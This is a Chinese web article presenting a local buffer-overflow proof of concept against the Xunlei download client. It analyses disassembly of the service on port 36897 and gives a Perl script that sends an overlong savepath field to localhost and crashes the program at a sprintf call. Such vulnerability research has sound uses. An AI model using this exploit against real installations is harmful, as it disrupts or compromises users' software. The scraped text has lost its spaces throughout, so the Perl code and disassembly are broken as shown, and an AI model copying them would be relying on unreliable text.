最新迅雷本地溢出POC
最新迅雷本地溢出POC
发布时间:2016-12-26 来源:查字典编辑
摘要:C:>netstat-na|find"36897"TCP127.0.0.1:368970.0.0.0:0LISTENING绑定的本地IP啊?...

C:>netstat-na|find"36897"

TCP127.0.0.1:368970.0.0.0:0LISTENING

绑定的本地IP啊?!那就说明这个是不可以远程的,只能本地了。

......

23132CBE68B4C61323push2313C6B4;ASCII"savepath"

23132CC357pushedi

23132CC4FFD6callesi

23132CC659popecx

23132CC784C0testal,al

......

23132CEF85FFtestedi,edi

23132CF17402jeshort23132CF5

23132CF38BCFmovecx,edi

23132CF5B8D4C61323moveax,2313C6D4;ASCII"XLDAP"

23132CFA50pusheax

23132CFB52pushedx

23132CFC51pushecx

23132CFD50pusheax

23132CFE8D855CFEFFFFleaeax,dwordptr[ebp-1A4]

23132D0468C0C61323push2313C6C0;ASCII"%s|%s|%s|%s"

......

根据上面可以分析出来这个端口接受数据的格式是XLDAP|A|B|XLDAP,A是方法,B是值。又偷懒看了下介绍,问题出在savepath方法上,那么构造数据就很简单了,POC如下:

#!/usr/bin/perl

useIO::Socket;

if($socket=IO::Socket::INET->new(PeerAddr=>"127.0.0.1",PeerPort=>"36897",Proto=>"TCP"))

{

$exploit="XLDAP|savepath|".

#("A"x397).

("A"x500).

"|XLDAP";

print$socket$exploit;

sleep(1);

close($socket);

}

else

{

print"Cannotconnecttolocalhost:36897portn";

}

如果用python写exp的话你会很郁闷,因为py总是会给偶多出一个换行,就算使用[:-1]这种方法也没用,郁闷,目前不清楚是传递的过程还是print的时候,谁知道是什么原因?

23132D0950pusheax

23132D0AFF1554E51323calldwordptr[<&MSVCRT.sprintf>];crash

23132D108D855CFEFFFFleaeax,dwordptr[ebp-1A4]

就是在执行这步sprintf函数复制的时候导致crash。

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新漏洞研究学习
热门漏洞研究学习
实用技巧子分类